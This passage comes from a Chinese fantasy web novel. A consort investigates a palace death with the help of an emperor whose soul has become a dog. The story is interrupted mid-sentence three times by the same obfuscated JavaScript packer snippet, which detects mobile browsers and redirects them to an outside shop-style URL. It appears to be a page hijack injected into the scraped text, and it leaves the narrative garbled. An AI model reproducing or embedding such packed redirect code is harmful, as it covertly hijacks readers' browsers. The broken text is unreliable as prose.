银霜道:“美人下午一直神思不属,傍晚的时候忽然说想出去走走,还不让奴婢等人跟着。后来天快黑了,又像是要下雨,奴婢实在不放心,便出去寻找。美人平日里就喜欢去莲池赏花,所以奴婢先去了莲池,结果就看到孙胡将美人推下水!” 景辰又问孙胡:“你又是为何会去莲池?” 孙胡不知道该怎么回答,下意识看向奚萦。 奚萦无奈,这是要当场串供吗?她只好替他答道:“是臣妾让孙胡跟着许妹妹的。” 银霜闻言尖叫一声:“果然是你!” 景辰被这声尖叫吵得头皮一紧,脸色变得十分难看,金内侍见状赶紧上前喝止:“闭嘴!陛下没问你,休得插嘴!” 银霜委委屈屈闭了嘴,却仍旧红着眼瞪着奚萦。 奚萦轻声细语地解释:“是这样的,臣妾今日中午见许妹妹时,她状态有些不好,似是心里藏着什么事,臣妾担心她出事,这才让孙胡看着点。” 银霜又想反驳,却被金内侍狠狠一瞪,她只好继续闭嘴。 果然,这话景辰也不信,他蹙眉看向奚萦:“你二人,竟是这般亲近?” 奚萦心说,关系一般,但谁叫本司主是个热心肠呢! “许妹妹是个热络性子,臣妾病中,她时常前来探望,且我二人同居长夏宫,是有几分情谊在的。这话此时说来恐怕难以令人信服,然臣妾问心无愧,绝无虚言。” 她神情坦荡目光清明,确实不像在说谎的样子,但景辰却没能从她脸上看出多少悲伤来,这又让她口中“有几分情谊”的说辞变得不那么可信。 女人啊,真是麻烦。 景辰的眼睛不仅好看,还会说话,这点怀疑和嫌弃赤裸裸落在奚萦眼中,她顿时明白自己的言语和行为存在不少矛盾的地方。 可这事儿它就真的说不清楚啊! 问题的关键还是在许美人的死因上,奚萦不想在说不清楚的事情上纠缠,于是选择沉默。 景辰也不再深究这二人究竟关系如何,他又问银霜:“你说亲眼看到孙胡推许美人下水,那你可曾听到他们说过什么?” 银霜摇头:“奴婢当时吓坏了,没注意他们说了什么。” 景辰问孙胡:“那你说说当时是怎么回事。” 孙胡小心翼翼道:“傍晚时分,奴才见许美人独自离开长夏宫,神情古怪,担心她出事,便一路跟着。许美人到莲池后徘徊了片刻,随即翻过栏杆往水里跳,奴才慌乱之下跑过去拉住许美人,叫她别寻短见,她却一言不发非要寻死。许美人力气极大,奴才没拉住,不慎让她落了水,这时银霜跑来,非说是奴才推了许美人,还拉扯奴才,不让奴才下水去救人,再后来羽林卫赶到,捞起了许美 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14232550|151355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人,事情便是如此。” 景辰有些头疼地揉了揉额角:“照你的说法,是银霜耽误你救人,间接害死了许美人?” 孙胡张了张嘴,没说出话来,求救的眼神再次投向奚萦。 奚萦实在不知道说这猴子什么好,大庭广众之下一直看她,是生怕别人不知道他俩有猫腻吗? 果然,景辰冷哼一声:“许美人一柔弱女子,你又早就看出她行为有异,若真要拉,岂会拉不住?还有银霜,若是真心护主,为何不但不抓紧时间下水救人,反倒要阻挠孙胡?你二人言语不实,真当朕是好糊弄的?来人——” 奚萦见他动怒,正想出面替孙胡求情,这时侍卫中忽然有一人出列,直挺挺跪下,大声道:“启禀皇上,属下当时亲眼所见,孙胡公公的确是要救人,他高喊‘许美人小心,别跳’,这也是属下亲耳听到的,绝无虚言!” 景辰和奚萦的目光同时被这忽然跳出来的侍卫吸引,却见他以额贴地,整张脸都藏了起来,言语无畏,姿态却闪躲。 景辰这时已经开始头疼了,结果银霜好死不死又跳出来叫嚷道:“陛下!这侍卫跟孙胡串通一气胡说八道,您千万别信啊!我家美人就这么不明不白地死了,任由他们胡说,天理何在——” 景辰被她吼得深吸一口气,咬牙骂道:“闭嘴!传张谦来,将这三人押入慎刑司,仔细审问,许美人暂且安置在朝露殿,待查清原委后择日下葬。沈嫔——” 他说到这里顿了顿,转头看向一脸无辜的奚萦,想起她爹沈唯清,略叹了口气,吩咐道:“沈嫔禁足一月……金内侍,送沈嫔回长夏宫。” 他吩咐完起身便要走,奚萦却将人叫住:“陛下,可否让臣妾再看许妹妹一眼?” 孙胡的态度确实有点奇怪,许美人的死恐怕大有蹊跷,她想看看尸体是否有异常。 景辰闻言眉头皱得更深了,他将奚萦从头到脚仔细打量了一番,这女人脸色苍白身姿瘦弱,风大点都能给刮飞了的模样,竟然敢去看尸体?他先前看过一眼,这会儿想起心里都还发毛,若是让沈嫔去看了的话,万一当场吓死了怎么办! 后宫总共就这三人,一下子死了俩,他的名声还要不要了? 就算他不在乎名声,沈唯清也会气得当场撞柱给他看吧。 “许美人仪容有损,沈嫔还是别看了,早些回去歇着吧。” 景辰说完就走,根本不给奚萦再开口的机会,奚萦没办法,只好先跟着金内侍回长夏宫。 她琢磨着,今晚不去宣王府了,待会儿先来朝露殿查看许美人的尸首,再摸去慎刑司问问孙胡。 * 奚萦重新安排晚上行程的时候,景辰也在想晚上的事。 今日被许美人的可怖死状吓到,又被银霜的尖嗓门儿吵到,头疾竟有复发的征兆,景辰十分沮丧,也无心继续审案,现在他只想快点回去睡下,去梦里的可怕女人那儿骗,呃不,讨,嗯,要一粒丹药! 至于被拉去打鬼追虎什么的,他已经有经验了,咬牙忍一忍,可以克服的! 身体康健与不当人狗不可兼得,舍尊严而取康健也,反正梦里也没人知道他是大雍的皇帝嘛,不丢脸! 夜色渐深,时至三更,景辰神态安详地躺在蓬莱宫龙床上,双眼紧闭,胡思乱想。 他的头有点疼,但还在可以忍受的范围,只是很想快点睡着,可惜越想越是徒劳,他不禁怀疑,莫非需要那女人主动召自己入梦才行吗? 哼,前两天每晚都来,今晚莫非要失约? 想着想着,耳边骤然传来熟悉的呼唤:“富贵儿,富贵儿……” 景辰的意识变得恍惚起来,很快便再次睁开了眼。 还没来得及看清面前的人,鼻尖忽然被碰了一下,一股直冲天灵盖的恶臭杀进景辰鼻腔,呛得他眼泪刷地流了下来。 他赶紧伸爪捂住鼻子连连后退,终于看清了奚萦的模样。 她黑衣蒙面,只露出一双明亮的眼睛,指尖拈着一条十分可疑的碎布条,恶臭就是从那布条上散发出来的。 景辰不知道她又在搞什么鬼,下意识想跑,刚一迈腿却被奚萦抓住后颈皮拎起来,往身后一扔。 一张青黑肿胀的死人脸骤然在景辰眼前放大,铺天盖地的尸臭味兜头罩下,他被熏得眼冒金星,慌乱中落地,恰好落在尸体手边,白嫩嫩的狗脸贴上了暗红色的衣袖。 一声杀狗般的惨叫过后,景辰白眼一翻,厥了过去。 13. 飞天狗景辰来也 景辰猛地坐起,攥紧被角大口喘气,额上渗出一层冷汗,尸体腐烂的恶臭仿佛穿过梦境跟随而来,萦绕盘旋在他鼻端,又恶心又恐怖,许久都无法挣脱。 勉强稳定气息后,景辰打算叫人奉茶,然而还没来得及开口,耳边再次响起魔鬼的呼唤。 “富贵儿,醒醒啊,富贵儿……” 眩晕感袭来,景辰绝望地闭上眼睛。 “你醒啦?哎我说富贵儿你也太娇气了吧,闻尸臭,找凶手,这不是做狗的本分吗,你怎么就晕了?皇帝小儿也没你娇气啊!” 景辰:“哪个皇帝会被人弄去当猎狗闻尸臭!!” 奚萦:“看吧,你自己也很羞愧对吧,既然羞愧,那就要迎难而上,再接再厉,我等下把你的嗅觉解开,你好好闻一闻,那许美人身上是不是有股极淡的古怪香味,我鼻子都给熏麻木了,现在只能靠你了。” 景辰晕乎乎的,也没力气跟奚萦计较她曲解自己的意思,反正他俩从来各说各的。 他眼睛一转,看清了当前所在之地。 这像是一处空旷的大殿,朱红梁柱,浅碧帐幔,正中摆着一口漆黑的巨大棺木,不远处的窗下和大门口横七竖八躺倒好几个人,那衣着,那衣着竟然是杂役太监的蓝袍? 景辰倒吸一口凉气,他知道这是哪儿了,朝露殿,放着许美人尸体的朝露殿! 棺材中的红衣腐尸,正是今日傍晚溺水而亡的许美人! 想到方才跟许美人的“亲密接触”,景辰又有胸闷想吐眼冒金星的感觉,他不敢置信地望向奚萦,这个女人,为何会在宫里? 这一切究竟是梦,还是真实的? 前两次不是在奇怪的闹市就是在荒山野岭,景辰始终深信那只是梦,他梦到自己变成狗,梦到奇怪的女人,梦到老虎和鬼,就算再离奇可怖,那毕竟也只是梦,梦里什么都有,也不是不能接受。 可是此刻他在朝露宫,对着许美人的尸体,奇怪的女人似乎想查许美人的死,这个梦竟是跟现实衔接上了! 其实他头疾忽然好了的时候就该想到的,梦里吃的灵丹妙药,又怎么可能治好现实中的病,这根本不是梦,就是真实发生的事情。 他景辰,大雍第五代天子,熙和帝,真的,变成狗了! 完了,他完了,大雍也完了…… 景辰正崩溃的时候,奚萦拍了拍他的脑袋,解开了被封住的嗅觉。 恶臭再次袭来,景辰顿时被呛得翻白眼,眼看着又要厥过去,奚萦赶紧出手撑开他的眼皮,另一只手当扇子,不停在他鼻端扇风,也不知道是想替他扇走臭味儿,还是帮他抓紧时间多闻几口。 变成狗之后,鼻子的灵敏度已然进入另一个境界,这也是为何奚萦没被臭晕,而景辰却被连连干翻的原因。 强烈的尸臭涌入鼻端,其中还夹杂着一点远处莲池飘来的莲花香、被暑热蒸腾而起的水腥泥腥以及热乎乎的青草味儿。 最奇怪的,还是其中那点似有若无的异香。 那是他从未闻过的一种香味,带着点幽幽的冷意,倏然钻入鼻腔又消失,片刻后冷不丁地飘了回来,若不是狗鼻子着实敏锐,根本无法察觉到。 “怎么样,闻到那种奇怪的香味了吗?” 奚萦满眼期待地看着景辰,手却不自觉地摸向了他后脑勺,若是他说没闻到,恐怕又要被丢去棺材里跟许美人亲近一番了。 景辰连忙点头,同时伸爪捂住鼻子,眼角不自觉浸染了些湿润,看上去可怜极了。 奚萦拍拍他的头,笑道:“总算还有点用处,我们出去找找,看别的地方有没有这种香味。” 景辰还能怎么办呢,总不能回去跟许美人挤棺材吧,于是他一狗当先朝殿门外冲去。 刚跑出殿门,一阵大风便忽地刮来,瞬间吹散恶臭,救下了景辰即将崩溃的鼻子。 他甩甩头,望向身后信步走来的黑衣女子。 狂风吹起她散落在脸颊两侧的碎发,大殿中飘忽的烛火给她镀上一层忽明忽暗的光晕,而她身后大殿中横着一口巨大的棺材,看守的宫人们全都倒地不起,这个场景怎么看怎么像话本子里夤夜杀人的情节。 景辰忍不住打了个哆嗦,若这一切都是真的,这个比冷血杀手还可怕的女人就藏在宫中,趁着夜色四处游荡,想杀谁就一巴掌拍下去,脑壳像西瓜一般咔嚓碎裂…… “富贵儿你别乱跑啊,当这宫里是你家呢,咱们在暗中调查,秘密潜伏知道吗?给我低调点!” 奚萦大喇喇的说话声打断了景辰的可怕想象,他无语地看向那个打晕宫人、掀了棺材板、走路还带风的家伙,恨恨道:“这可不就是朕的家吗!” 奚萦伸手抄起哼哼唧唧的狗子,一个闪身来到屋顶,鬼鬼祟祟往屋脊下一趴,继续教育狗:“屋顶才是夜行潜伏最好的去处知道吗?” 景辰:“呵呵,你经验可真丰富。” 嘴里不服气,景辰的眼睛却忍不住四处张望。 这还是他第一次上房顶呢。 朝露殿不高,位置也比较偏僻,站在房顶望去,也只看到不远处的荷塘和低矮的宫墙,但这感觉还是有点新奇的,白天的大雍天子景辰无论如何也不会上房顶去。 奚萦却看不惯这狗干正事的时候摸鱼,揪了揪他的耳朵,催促道:“闻到刚才那种异香了吗?” 景辰没好气地哼哼两声,他不想被人当猎狗使唤,但又想知道许美人到底怎么死的,纠结片刻后,还是不情不愿地开始翕动鼻翼,努力分辨空气中飘荡的各种气味。 他们所在的位置比方才高了许多,莲花的香味便淡了些,泥土青草的味道几乎没有,但却更热了,脚下金漆瓦片被阳光烘烤一日后,焦味混着漆味一起往上蹿,还有一些景辰熟悉的花香,以及那一闪而逝的,幽冷入骨的异香。 景辰:“东边!” 奚萦:“汪汪是哪个方向,你就不能快点学会说人话吗?” 景辰:“……” 景辰只能憋屈地伸爪指向东边。 奚萦抄起狗子就走,三两下飞过莲池,跃上一排矮墙,刚飞了没多远,她忽然又停下,一脸不爽地看着胳膊上挂着的小白狗。 景辰跟她大眼瞪小眼:“怎么,就是这个方向啊!” 奚萦却幽幽道:“我才想起来,你是我的剑灵,从来只有人御剑飞行的,没有剑御人飞行的!你给我下来自己走!” 景辰更无语了:“朕就是条狗啊,飞也飞不起来,跑也跑不快,你既要朕指路,又要朕自己走,你也太欺负狗了吧!” 奚萦见他竟敢犟嘴,哼道:“你就算化形了,那也是我的剑,也该给我当坐骑,而不是我给你当坐骑!” 景辰怒了:“怎么的,你还要骑狗?” 奚萦不骑狗,她打算给狗上个轻身术速成学堂。 一人一狗缩在墙角树影下,正式开始教学。 “你是法宝聚灵而生,天生经脉畅通,亲近灵气,再加上先前吃的清虚丹、养元丹,还喝干了一口灵泉,如今你体内应该贮存了大量灵气,只要你学会如何使用这些灵气,别说飞了,化成人形也不是问题,还能用出先前杀鬼的剑术。” 景辰闻言眼睛亮了起来,能重新做人,还能飞能杀鬼,这可真是太有吸引力了! 奚萦见他这模样心中暗笑,继续道:“不过嘛,你资质不行,脑子也笨,原本我以为你吃了丹药喝了灵泉就能自行领会提升,结果完全是白费,那就只能从头学起了。” 景辰自小便被大雍最顶尖的大儒们夸赞天资聪颖悟性绝佳,人生头一次得到“资质差,脑子笨”的评价,顿时气得眼睛喷火。 奚萦随意撸了把狗头以示安慰,景辰被迫哑火,哼了两声继续听她讲:“无论人还是妖,修行的第一步便是打通周身七百二十窍穴,使经脉畅通,灵气入体后得以行走一个完整的周天,凡人迈过打通窍穴行气周天的门槛,称之为入道,妖族则是化形,所以你明白了吗,你窍穴已开,经脉畅通,灵气也足够,是可以化人形的,只是你不会而已。” 景辰眼睛更亮了,激动道:“那要怎么化人形?” 奚萦难得正确理解了一回狗语,她挑眉笑道:“我也不知道妖族是怎么化人形啊,我又不是妖。” 景辰都快让她给钓成翘嘴狗了,结果她说不知道! 这回是真的忍不了,他呜咽一声,抬爪挠在奚萦胳膊上。 奚萦看得牙疼:“你是公狗啊,别撒娇,像个娘娘腔似的,怪恶心。” 谁他妈撒娇了?谁他妈撒娇了?! 景辰差点给气哭,当即垂下尾巴掉转头,拿屁股对着奚萦,再也不想搭理她。 奚萦哈哈大笑起来,得亏提前布了隔音结界,否则整个皇宫都会听到她无情的嘲笑声。 眼看着傻狗就要被气哭了,奚萦终于勉强止住笑,努力摆出正经脸继续教学:“我先前不是说了今天教你轻身术吗,大变活人什么的,改天让发财教你。咳咳,听好了啊,接下来我可要讲怎么飞起来了,你还拿屁股对着我的话,说不定我在哪个步骤出点小错,让你飞着飞着掉茅坑里信不信?” 景辰能怎么办,他只能选择相信,毕竟就没有这女人干不出来的事啊。 小白狗耷拉着耳朵掉转头,却不愿意再用先前那般亮晶晶的眼神望着自己了,尾巴也不摇了,只矜持地圈住两只前爪,怎么看怎么像猫,娘们儿兮兮的……不过奚萦只是在心里吐槽,她揉揉狗头,认真道:“轻身术很简单,只需要你引着灵气从丹田出来,顺着心脉一路往上,经过前额神庭穴后,分作两路往下,行至脚底涌泉穴,再往上汇入丹田,如此一个循环之后,你就会发现自己变得身轻如燕,心意所向无处不至。” 轻身术确实很简单,景辰听得也很认真,可让他自己试试的时候,他却连第一步从丹田引出灵气都不知道该怎么做。 见他傻呆呆看着自己肚皮,奚萦也是无奈,只得伸手帮他。 猝不及防一根手指点在自己肚皮上,景辰吓得一激灵,顿时想起了一些不堪回首的记忆,下意识就要躲闪,却被奚萦另一只手按住后背动弹不得:“别动,闭上眼睛仔细感受你的丹田,以后你化作人形也是在同样的位置知道吗,牵引灵力需要集中精神……” 她这次讲解得极细致,那根手指也并未作怪,很快便将景辰丹田内贮藏的灵气牵引了出来,又一路引着他行气一个周天,然后景辰就发觉自己飘了起来。 身体轻得像是一根浮在空中的羽毛,又像是喝醉后踩在棉花上,跟被人拎着飞来飞去完全不同,很是奇妙的感受。 奚萦笑道:“按照我刚才教你的方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14232551|151355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 法行气,不能停下哦,然后想想要去哪儿,只能去视线可及的地方。” 景辰抬头看了眼面前的桃树,心念一动,身子立马跟着一闪,他成功飞到了桃树枝头。 他竟然真的会飞了!不是习武之人腾挪纵跃的轻功,是真的飞,嗖地一下就飘过去了! 这种体验太过新奇有趣,景辰迫不及待开始翻墙越户飞檐走壁,像穿梭在森严禁宫中的一缕清风,自由自在,天地任逍遥。 奚萦见他玩得开心也不去阻止,小狗嘛,就喜欢遛弯儿,他学得这么快,奖励他多遛一会儿也不是不行。 至于会不会被巡逻的羽林卫或是值夜的宫人发现,那绝不可能,奚萦这独家秘法天下无敌,就算是以身法见长的青凤一族也追不上她,更何况这些凡人。 飞了约莫一盏茶的时间,景辰几乎将皇宫逛了一遍,这才恋恋不舍地回到先前的墙角,对底下抱臂笑望着自己的奚萦赞道:“你这轻身术可真厉害!我觉得我可以一口气飞出雍都,飞到幽浮山顶!” 奚萦点点头:“不错,现在你会飞了,可以给我当坐骑了,走吧,咱们继续干活。” 景辰狗脸一垮,这女人果然听不懂人话,呃不,狗语!骑什么骑,狗都要骑,简直丧心病狂! 他现在会飞了,底气也足了,被奚萦欺负也能逃跑了,于是他掉头就走,径直往正东方向飞去。 奚萦啧了一声,果然长本事了,狗脾气也大了啊! 她不紧不慢跟上去,小声念叨:“富贵儿啊,你知道你这行为叫什么吗,这叫端起碗吃肉,放下碗骂娘,这是不对的知道吗?司主我对你这么好,你让我骑一下又怎么了?” 景辰不理她,继续飞。 奚萦碎碎念了一会儿,又在后面窸窸窣窣不知道捣鼓什么,半晌后,景辰脖子忽然一紧,他低头一看,只见一条亮闪闪的绳子在自己脖子上缠了一圈,再朝后面一看,绳子的另一头正捏在奚萦手中,得意洋洋地转着圈儿。 奚萦挑眉笑道:“刀枪不入、坚比陨铁的冰蚕丝,用来遛我家富贵儿再合适不过了,是吧?” 景辰今天还没受过这样的侮辱,顿时气得吱哇乱叫,又用爪子去抠脖子上的绳圈儿,实在抠不动,他甚至克服洁癖用牙咬,可惜忙活半天全是白费。 奚萦等他折腾够了,委屈得眼睛都发红了,才假惺惺地安慰道:“富贵儿乖啊,遛狗要牵绳,这是做人的基本道德,你忍一忍啦。” 景辰:“你也配提道德,你有个屁的道德!” 景辰在反抗奚萦暴政的大业中屡屡受挫,最后含泪放弃。 于是奚萦遛着飞天狗景辰,一路搜寻到慎刑司外。 慎刑司在宣政门外,紧挨着皇宫,是收押犯事宫人之地,孙胡、银霜以及那个最后跳出来作证的侍卫如今都被关在慎刑司中。 一人一狗躲在慎刑司旁边的宫墙角落,奚萦有些踌躇起来。 慎刑司由羽林卫和皇帝指派的内侍官共同管理,如今羽林卫指挥使是张谦,今日皇帝指派他主审许美人一案,此刻慎刑司内灯火通明,时不时有羽林卫进出,说不定那张谦就在里面连夜审讯呢。 她要进去肯定是能进去的,甚至可以一口气弄晕里面所有人,但这样做的话动静太大,事后肯定会被羽林卫发现端倪。 可是又不能不进去,孙胡那笨蛋不太会编瞎话,又是个倔强脾气,说不定就要受刑,万一再暴露了妖族的身份,那就麻烦了。 再则,今晚她到了朝露殿后,先给许美人招魂,却什么也没招到,更奇怪的是,许美人的尸身竟是在以肉眼可见的速度腐坏,这情况很是不对劲,可她身上却没有残留的妖气邪气,只那股异香诡异得紧,而一路追踪下来,竟是在慎刑司中发现了异香踪迹。 所以,无论如何,她今晚得闯一闯这慎刑司了。 想清楚后,奚萦对仍在生闷气的景辰道:“待会儿我自己进去,你在这里替我望风,盯着门口,有人来或是有人离开都通知我知道吗?” 景辰哼了一声,不想搭理她。 奚萦继续道:“知道怎么通知我吗?用这里,”她伸手点了点景辰的脑门儿,继续道:“你是我的本命剑,我们之间存在神识感应,你只需要在心里默念我的名字,用心要诚恳,态度要恭敬,这样就能跟我简单沟通了。” 景辰一脸茫然,奚萦也跟着惆怅起来,这傻狗该不会不知道怎么望风吧? 景辰:“你叫什么名字?” 奚萦叹气:“总之你见机行事,实在不行就找面墙用你的脑门儿使劲儿那么一撞,撞晕了就能回到剑里,这条后路够稳妥吧?” 景辰:“行行行,所以你到底叫什么名字?” 奚萦:“我走了,你小心。” 景辰:“哎疯女人,你到底叫什么名字啊!!” 奚萦的身影已经消失在慎刑司屋顶,徒留景辰一狗无能狂吠。 景辰骂了一阵后,忽然反应过来,自己是这皇宫的主人,大雍的天子,为何要给擅闯禁宫的贼人望风? 他转身就走。 得赶紧回蓬莱宫看看自己的人身还在不在,最好能回到身体内,然后立马带兵去把那疯女人抓起来,把她扔到西山猎场去跟老虎赛跑,跟黑熊打架,看她以后还敢不敢乱摸他、嘲笑他、牵着狗绳遛他! 14. 分头行动 奚萦还不知道自家狗子已经跑路了,她绕着慎刑司转了一圈,一时没找到可以钻的空子。 今晚看守得太严了。 宫中有后妃遇害,皇帝亲自下令严审,这是几年也难得遇上的大事,慎刑司上下个个忙得脚不沾地,力争在今晚审出个结果来。 听着时不时飘出来的惨叫声喝骂声,奚萦心中微紧,她踌躇了片刻,从储物袋中翻出一张黄纸,三两下叠成一个拇指大小的纸人,注入一点灵力,再塞一颗丹药,然后往慎刑司院墙内一抛。 慎刑司是一座三进的院子,关押审讯犯人的牢房在最里面,一排总共十几间屋子,奚萦之前探查皇宫时来过这里,地形她早就摸清了的,先前她用司主令感应了一下孙胡的气息,很快便确定了他的位置,因此小纸人一落地就直奔孙胡而去。 幸而此时受审的不是孙胡,他暂时被关押在一间单独的小屋中,外面有两个侍卫看守。 奚萦指挥小纸人贴着墙根溜到房门前,又从门缝中挤进去,没有引起任何人的注意。 小屋中没有点灯,借着递送食水的小窗户透出的一点月光,奚萦看到了蜷缩在墙角的少年。 幸好,少年身上衣衫虽然脏污,却没有明显的血迹,或许是看在沈嫔的面子上,张谦并未对他严刑拷打。 小纸人跑过去,趴到少年耳边小声唤他:“孙胡,孙胡,快醒醒。” 孙胡迷迷糊糊睁开眼,看到肩上趴着的小纸人,眼睛一下亮了起来:“司、司主?” “嘘,小声点。先设个隔音结界,快。” 奚萦只是将神识附着在小纸人身上,不能直接使用术法,好在孙胡状态尚可,连忙设了个极小极小的隔音结界,将自己的脑袋和小纸人笼罩起来。 结界设得太差,孙胡有些不好意思:“奴才,呃,我不太擅长这个……” 奚萦自然没那闲工夫跟他计较这些,赶紧将带来的补灵丹给他吃下,问起正事:“许美人到底怎么回事?” 孙胡想起许美人落水的情景还有些后怕,他小声道:“许美人早就死了,她落水之前就已经是一具尸体了!她傍晚独自离开长夏宫的时候我就一路跟着,一开始还好好的,走着走着她脸色就慢慢变得苍白,眼睛也没了神采,稀里糊涂就往莲池中去,我觉得不对劲就赶紧上去拉她,结果她的手又冷又硬,就像,就像已经发僵的死人!更奇怪的是,她虽然没有理智,但力气却极大,铁了心要投水,我根本拉不动,就在我们拉扯的时候,那个叫银霜的宫女跑来,非说是我推了许美人,事情就是这样的。” 奚萦暗道一声果然,又问:“还有其他什么古怪的地方吗?” 孙胡仔细想了想,有些不确定道:“许美人身上,没有妖气也没有鬼气,但似乎有种奇怪的,香味,很淡,但是很特别,我也说不上来是什么香味。” 奚萦点点头,叮嘱道:“下次审问的时候,你把这些都一五一十地告诉那张将军,不必隐瞒。许美人的尸首我去看过了,的确早已死去多日,尸体的异状最迟明天肯定就会被发现,刚好与你的证词对得上,你只需说先前惊吓太过,又不敢轻易相信这等怪力乱神之事,这才没有立即说出来。至于跟踪许美人这事,你只咬定是我担心她安危,派你去保护就行,别的不用多说。” 孙胡得了吩咐,一下子就有了主心骨,连连点头应是,末了想起什么,又补充道:“许美人身上那种异香,刚才受审的时候我好像也闻到一点,当时在场的有张将军,吴寺监,三个脸生的羽林卫,对了,还有那个为我作证的侍卫也在。” 奚萦和景辰先前便是因追踪异香来到慎刑司外,此时孙胡也提到异香,并且将嫌疑人范围缩小到六个人中,她不禁沉吟起来。 若许美人早就死了,那这段时间控制她身体的东西,究竟是妖还是鬼?为何好端端地忽然就舍弃了这具身体?原本占据着尸体的东西应该还在宫中,在孙胡所说的这六人之中,其中最可疑的就是那个跳出来作证的侍卫。 还有这异香,她可从未听说过哪种捣鼓尸体的家伙是香喷喷的,而且以前从未在许美人身上闻到过这种味道,莫非,是那东西更换宿主的时候才会散发异香? 若是如此的话,得尽快将那东西抓住才行,否则一旦让它潜伏起来,怕是难找。 奚萦对孙胡道:“弄点动静出来,把张将军引过来见你,然后将许美人的异样告诉他。” 孙胡郑重点头,奚萦控制着小纸人原路回去,结果还没摸到门边,就被背后一声凄厉的惨叫吓得差点散架。 她回头,震惊无比地看见孙胡突然扯着自己头发满地打滚,叫得堪比过年杀猪,不知道的还以为这家伙鬼上身了。 门口守着的两个侍卫也吓得不轻,慌乱地喊着“怎么了出什么事了”,掏出钥匙开门却半天插不进锁眼儿里,等他俩终于打开门冲进来的时候,孙胡嗓子都快喊哑了。 “快、快请张、张将军,有、有鬼啊!” 孙胡扯着嗓子说出请求,而他此时双眼暴凸头发凌乱的模样,实在太有说服力,两个年轻威武的侍卫小哥被吓得跟他一起结巴:“好、好好,你、你快去,我守、我守着他!快、快去、快回!” 贴在门槛上看戏的小纸人奚萦忍不住感慨,孙胡这小猴子平日里腼腆羞涩,没想到演起戏来竟还是个狂野派的,不错不错,也算是一技之长了。 小纸人看着侍卫急吼吼找来张谦,又确认了那个跳出来替孙胡作证的侍卫所在的牢房位置后,悄然化为灰烬。 奚萦趁乱翻进慎刑司,直奔目的而去。 * 景辰心情忐忑,他现在几乎已经确定这一切不是做梦,他就是魂魄离体变成了狗! 一路上他不停猜测蓬莱宫寝殿内该是什么情形,他的身体是好端端地睡在龙床上,还是消失不见了?或者变成了一具没有呼吸心跳的,尸体?应该不至于吧,每次“梦醒”之后,他都没觉察出任何异样,甚至可以说,他状态比之前生病时好了许多。 总之,应该不会有什么危险的,吧? 很快,蓬莱宫到了,宫里宫外都有许多值夜的侍卫太监,他如今是条狗,走正门或是翻窗都不太行得通,只好选择走梁上君子的路线。 然而当他落到蓬莱宫寝殿上方的屋顶,扒开瓦片准备潜入自己寝宫时,瓦片下却忽然迸射出一道金光直接将他打飞。 景辰惨叫着飞出老远,嘭地一声,砸在蓬莱宫大门口的汉白玉台阶上,屁股差点摔成八瓣。 比屁股疼更糟糕的是,四双眼睛正直勾勾地瞪着从天而降的小白狗。 “暗、暗器?” “这狗是要闯宫门?” “别闹,赶紧将这狗弄走,万一吵醒陛下咱们就得吃不了兜着走了!” 景辰想说,你们听朕解释,陛下不会被吵醒也不会怪你们的!可惜他只能发出汪汪汪的狗叫声。 侍卫们的魔爪就要落到尊贵的大雍陛下身上,他只好忍着屁股疼拔腿就跑。 可惜没跑出几步,前面又来了一队侍卫,两边围堵,他就算有四条腿也跑不了。 幸好今天的景辰已经是只会飞的狗了,他运转功法腾身而起,快速飞向蓬莱宫正殿。 然而这一飞简直就是捅了马蜂窝了,几个侍卫大叫起来:“妖孽!有妖孽闯入蓬莱宫!” “护驾!赶紧护驾!” “快,那狗妖朝正殿去了,保护皇上!” 附近巡逻的侍卫迅速赶来,将蓬莱宫正殿团团围住,有轻功好的直接爬墙上房,誓要抓住这擅闯皇帝寝宫的狗妖。 景辰毕竟是刚学会的轻身术,加上先前挨那一下着实不轻,一时间左突右奔,竟差点被侍卫们给逮住。 他心里那个气啊,瞧这一晚上折腾的,又是当猎狗闻尸臭,又是被人牵着绳子遛,好不容易暂时摆脱魔爪,想回个家还被侍卫们围追堵截,历朝历代也没有他这么憋屈的皇帝了吧。 眼看着被逼到角落,这蓬莱宫是无论如何也闯不进去了,景辰只好另辟蹊径。 他目光扫过面前屋脊上一排蹲兽,咬咬牙狠狠心,一头撞向为首那骑凤仙人的凤尾巴。 这一下撞得扎实,景辰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14232552|151355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只觉脑门儿生疼眼冒金星,心中默默祈祷,赶紧晕过去吧。 围上来的侍卫们见狗妖忽然撞柱自杀,也是一脸懵,但既然他自己也不想活了,那不如搭把手。 有胆大的直接挥刀就砍,也有聪明的不知从哪儿找来的绳子,套了成圈往景辰身上扔去,还有脱下衣衫扯成个大布兜子罩住上空,防止景辰飞走的,以及缩在后面给同伴加油鼓劲儿的:“快快快!抓住这狗妖,它跑不了了!” 